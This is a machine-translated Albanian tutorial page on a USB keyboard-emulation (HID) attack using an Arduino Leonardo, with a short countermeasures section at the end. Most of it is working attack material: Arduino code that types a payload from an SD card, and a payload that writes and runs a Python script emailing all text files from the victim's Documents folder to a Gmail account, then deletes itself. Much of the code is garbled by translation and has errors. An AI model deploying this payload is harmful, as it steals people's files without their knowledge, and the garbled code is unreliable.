Përmbajtje:

Demo e shfrytëzimit të tastierës Arduino (HID) dhe parandalimi: 4 hapa (me fotografi)
Demo e shfrytëzimit të tastierës Arduino (HID) dhe parandalimi: 4 hapa (me fotografi)

Video: Demo e shfrytëzimit të tastierës Arduino (HID) dhe parandalimi: 4 hapa (me fotografi)

Video: Demo e shfrytëzimit të tastierës Arduino (HID) dhe parandalimi: 4 hapa (me fotografi)
Video: Starting a Sidecar MIDI Controller to expand the Ibanez IMG2010 MC1 Guitar to MIDI Converter system 2024, Nëntor
Anonim
Image
Image
Ndërtimi i pajisjes
Ndërtimi i pajisjes

Në këtë projekt ne do të përdorim një arduino leonardo për të simuluar një sulm të mundshëm USB duke përdorur HID (pajisje humain interface).

Unë e kam krijuar këtë tutorial jo për të ndihmuar hakerat, por për t'ju treguar disa rreziqe reale dhe si të mbroni veten tuaj nga ato rreziqe. Kjo pajisje nuk është një pajisje që mund të përdoret në çdo platformë për hakerat, është më shumë një provë e konceptit në detaje.

Ne do të mësojmë sa vijon:

- si të përdorni arduino leonardo për të imituar tastierën

- si të lexoni të dhëna nga kartat SD

- si të krijoni një shkrim python që skanon skedarët dhe i dërgon ato me email

- si të mbroheni nga pajisjet e hakimit USB

Hapi 1: Materialet

Pjesët:

1. Arduino leonardo

2. lexues kartash mikro USB

3. disa kartë SD GB

4. buton si ky (VCC, Ground dhe sinjal)

5. kabllo bluzë femër-mashkull dhe femër-femër

6. kabllo mikro USB në USB

Hapi 2: Ndërtimi i pajisjes

Ndërtimi i pajisjes
Ndërtimi i pajisjes

Para udhëzimit të ndërtimit, le të rishikojmë parimin e punës:

Arduino leonardo mund të sillet si një pajisje ndërfaqe njerëzore (HID) dhe për këtë arsye mund të imitojë miun dhe tastierën. Ne do ta përdorim këtë veçori për të hapur një terminal (në UBUNTU linux) dhe për të shkruar një skript të vogël që do të hyjë në dosjen /Dokumentet brenda dosjes së përdoruesit të shtëpisë kopjoni skedarët.txt atje dhe i dërgoni me email dikujt. Nëse doni të zbuloni më shumë detaje, kontrolloni hapin tjetër.

Për shkak se është një pajisje demo gjërat janë vërtet të thjeshta, ne nuk do të lidhim asgjë.

Udhëzimet e ndërtimit

Para se të fillojmë të kontrollojmë skedarët e bashkangjitur, unë kam bashkangjitur skemat fritzing, dhe të gjithë skedarët e nevojshëm

1. Mblidhni përbërësit:

* lidhni kabllon mikro USB në arduino

* lidhni çelësin kyç me arduino (moduli i tokëzimit, vcc dhe jashtë në D8)

* lidhni lexuesin e kartës me arduino (duke përdorur kokën ICSP). Arduino leonardo nuk ka kokën ICSP të lidhur me kunjat dixhitale, kështu që do t'ju duhet të lidhni lexuesin e kartës me kokën e ICSP. Ju mund të gjeni disa vizatime të ICSP këtu: https://learn.sparkfun.com/tutorials/installing-an…. Lidhni kunjin SS me kunjin dixhital 10

2. merrni kodin arduino, mund të klononi depon time arduino në github: https://github.com/danionescu0/arduino dhe shkoni te projects/keyboard_exploit ose merrni atë nga poshtë:

#përfshi "Tastiera.h"

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Fle::"; String commandStartingPoint = "Komanda::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = LART; void setup () {pinMode (buttonPin, INPUT); Serial.filloj (9600); Tastiera.filloj (); nëse (! SD.begin (chipSelect)) {Serial.println ("Karta dështoi, ose nuk është e pranishme!"); kthim; }} void loop () {int buttonState = digitalRead (buttonPin); nëse ((buttonState! = previousButtonState) && (buttonState == LART)) {sdFileToKeyboard (); Serial.println ("Ngarkuar!"); vonesë (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); nëse (! dataFile) {Serial.println ("Emri i skedarit të specifikuar nuk është i pranishëm në kartën SD, kontrolloni emrin e skedaritOnCard!"); } Linja e vargut; ndërsa (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (rreshti); sendToKeyboard (linjë); } dataFile.close (); } void sendToKeyboard (String line) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (linjë); kthim; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (line); Keyboard.println (line); pressEnter (); kthim; } Serial.println ("Komanda:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); Komanda e vargut = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; nëse (komanda! = "") {Serial.print ("Komanda u gjet:"); Serial.println (komanda); Keyboard.press (getCommandCode (komanda)); vonesë (delayBetweenCommands); }} Keyboard.releaseAll (); vonesë (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Fjetur për:"); Serial.println (sleepAmount); vonesa (Shuma e gjumit); } char getCommandCode (String text) {char textCharacters [2]; tekst.toCharArray (Karakteri i tekstit, 2); kodi char = tekstKarakteret [0]; kod = (tekst == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: kodi; kod = (tekst == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: kodi; kod = (tekst == "KEY_LEFT_ALT")? KEY_LEFT_ALT: kodi; kod = (tekst == "KEY_UP_ARROW")? KEY_UP_ARROW: kodi; kod = (tekst == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: kodi; kod = (tekst == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: kodi; kod = (tekst == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: kodi; kod = (tekst == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: kodi; kod = (tekst == "KEY_BACKSPACE")? KEY_BACKSPACE: kodi; kod = (tekst == "KEY_TAB")? KEY_TAB: kodi; kod = (tekst == "KEY_RETURN")? KEY_RETURN: kodi; kod = (tekst == "KEY_ESC")? KEY_ESC: kodi; kod = (tekst == "KEY_INSERT")? KEY_INSERT: kodi; kod = (tekst == "KEY_DELETE")? KEY_DELETE: kodi; kod = (tekst == "KEY_PAGE_UP")? KEY_PAGE_UP: kodi; kod = (tekst == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: kodi; kod = (tekst == "KEY_HOME")? KEY_HOME: kodi; kod = (tekst == "KEY_END")? KEY_END: kodi; kod = (tekst == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: kodi; kod = (tekst == "KEY_F1")? KEY_F1: kodi; kod = (tekst == "KEY_F2")? KEY_F2: kodi; kod = (tekst == "KEY_F3")? KEY_F3: kodi; kod = (tekst == "KEY_F4")? KEY_F4: kodi; kod = (tekst == "KEY_F5")? KEY_F5: kodi; kod = (tekst == "KEY_F6")? KEY_F6: kodi; kod = (tekst == "KEY_F7")? KEY_F7: kodi; kod = (tekst == "KEY_F8")? KEY_F8: kodi; kod = (tekst == "KEY_F9")? KEY_F9: kodi; kod = (tekst == "KEY_F10")? KEY_F10: kodi; kod = (tekst == "KEY_F11")? KEY_F1: kodi; kod = (tekst == "KEY_F12")? KEY_F2: kodi;

kodi i kthimit;

}

3. Ngarko kodin në arduino, sigurohu që të zgjedhësh 9600 baud rate, portin serik dhe arduino leonardo

4. Formatoni kartën sd duke përdorur FAT16 ose FAT32

5. Nëse keni klonuar repo github nga lart, kopjoni skedarin hack.txt në kartë, nëse jo skedari është i listuar më poshtë:

Komanda:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT import smtplib import glob, os from os.path import expanduser from email. MIMEMultipart import MIMEMultipart from email. MIMEBase import MIMEBase from email. Import MIMETekst MIMETekst nga email. Përdorni importin COMMASPACE, format datën nga Koduesit e importit të postës elektronike

smtp_user = 'dërguesi_gmail_adresa'

smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Dokumente'

subjekt = trup = 'Skedarë nga kompjuteri i hakuar'

header = 'Për: {0} nNga: {1} nSubjekti: {2} n'.format (në_adresë, smtp_user, subjekt)

def sendMail (tek, subjekti, teksti, skedarët = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMEText (tekst)) për skedarin në skedarë: pjesë = MIMEBase ('aplikacioni', "oktet-stream") part.set_payload (hapur (skedari, "rb"). Lexo ()) Encoders.encode_base64 (pjesë) pjesë. add_header ('Content-Disposition', 'attachment; filename = " % s"' % os.path.basename (file)) msg.attach (part)

server = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()

sendMail ([te_adresa], subjekti, trupi, glob.glob ("{0}/{1}/*. txt".format (zgjerues ("~"), scan_documents_location)))

Sleep:: 50 Command:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4

6. Ndryshoni rreshtat e mëposhtëm:

smtp_user = 'dërguesi_email_addr'

smtp_pass = 'sender_password' to_address = 'receiver_address'

Dhe zëvendësoni me adresat tuaja të postës elektronike

7. Hiqeni kartën dhe futeni në lexuesin e kartave arduino

Hapi 3: Si funksionon në detaje

Si do të funksionojë sulmi:

1. Kur shtypet butoni, leonardo do të lexojë kartën sd duke përdorur një lexues kartash sd. Një skedar special që përmban çelësa dhe kombinim kyç do të jetë i pranishëm në kartë. Emri i skedarit është "hack.txt".

Skedari mund të përmbajë tekst të papërpunuar dhe do të kalojë në tastierë ashtu siç është.

Gjithashtu mund të përmbajë komanda të veçanta si "Sleep::" dhe "Command::".

Një linjë si:

Gjumi:: 200 do të thotë një gjumë prej 200 ms

Një linjë si:

Komanda:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t do të thotë ctrl e majtë e shtypur, majtas alt e shtypur, t shtypur dhe të gjitha të lëshuara

Mund të kontrolloni të gjithë çelësat special këtu:

2. Leonardo do të lexojë rresht pas rreshti, dhe do të interpretojë komandat dhe do të imitojë çelësat në tastierë. Skedari "hack.txt" përmban një kombinim të çelësave që bën sa më poshtë (për UBUNTU linux):

a hap një terminal (CTRL + ALT + T)

b hap një skedar python për krijimin duke përdorur vi (shkruan "vi hack.py"

c shkruan një skript python brenda që mbledh të gjithë skedarët e tekstit brenda dosjes së dokumenteve në shtëpi dhe i dërgon ato në një adresë të caktuar gmail

d ekzekuton skedarin në sfond ("nohup python hack.py &")

e fshin skedarin (rm -rf hack.py)

f mbyll terminalin (ALT + F4)

E gjithë kjo gjë shkon në pak sekonda dhe nuk lë gjurmë.

Përmirësimet dhe zgjidhja e problemeve

* Ju mund të vini re se pasi unë jam duke hapur një terminal unë jam duke shkruar skedarin python. një mënyrë më e mirë për të do të jetë ta presësh diku dhe ta shkarkosh duke përdorur komandën "wget some_url", pastaj ta riemërtosh atë në hack.py

* Gjithashtu ne mund të shkarkojmë ose ekzekutojmë një shfrytëzim të gatshëm për sistemin operativ të synuar

* wifi mund të shtohet në modul dhe haket mund të ngarkohen përmes WIFI

* mund të përdorni arduino micro (i cili është shumë më i vogël) dhe të fusni kodin shfrytëzues mbi të (për ta bërë atë më të vogël)

Kufizimet

1. Për shkak se pajisja e simuluar (tastiera dhe miu) nuk ka ndonjë reagim, ne nuk e dimë se çfarë do të ndodhë pas lëshimit të një komande që do të thotë se duhet të përdorim vonesa. Për shembull, unë po lëshoj një komandë për të hapur terminalin, por nuk e di se kur do të jetë në të vërtetë i hapur, kështu që më duhet të specifikoj një vonesë arbitrare për të siguruar që personazhet e shtypur më pas nuk do të humbasin.

2. Ne mund të hasim probleme me lejen, si të mos kesh qasje në portën USB ose lejen për të instaluar diçka

3. Shpejtësia e shtypjes nuk është aq e madhe për leonardo

4. Do të punojë vetëm në një sistem operativ të synuar (në rastin tonë linux UBUNTU)

Në hapin tjetër do të përpiqemi të gjejmë mënyra për të shfrytëzuar këto kufizime për të parandaluar hakimin e kompjuterit tonë

Hapi 4: Kundërmasat

1. Çaktivizimi i porteve USB

-për dritaret mund të kontrolloni këtë tutorial:

2. Pajisjet USB të listës së bardhë:

- për dritaret:

2. Bllokoni kompjuterin tuaj kur nuk jeni larg

3. Mos hyni si root (kërkoni fjalëkalime për të instaluar ndonjë gjë)

4. Mbani veten të azhurnuar (përditësimet automatike të ndezura)

Recommended: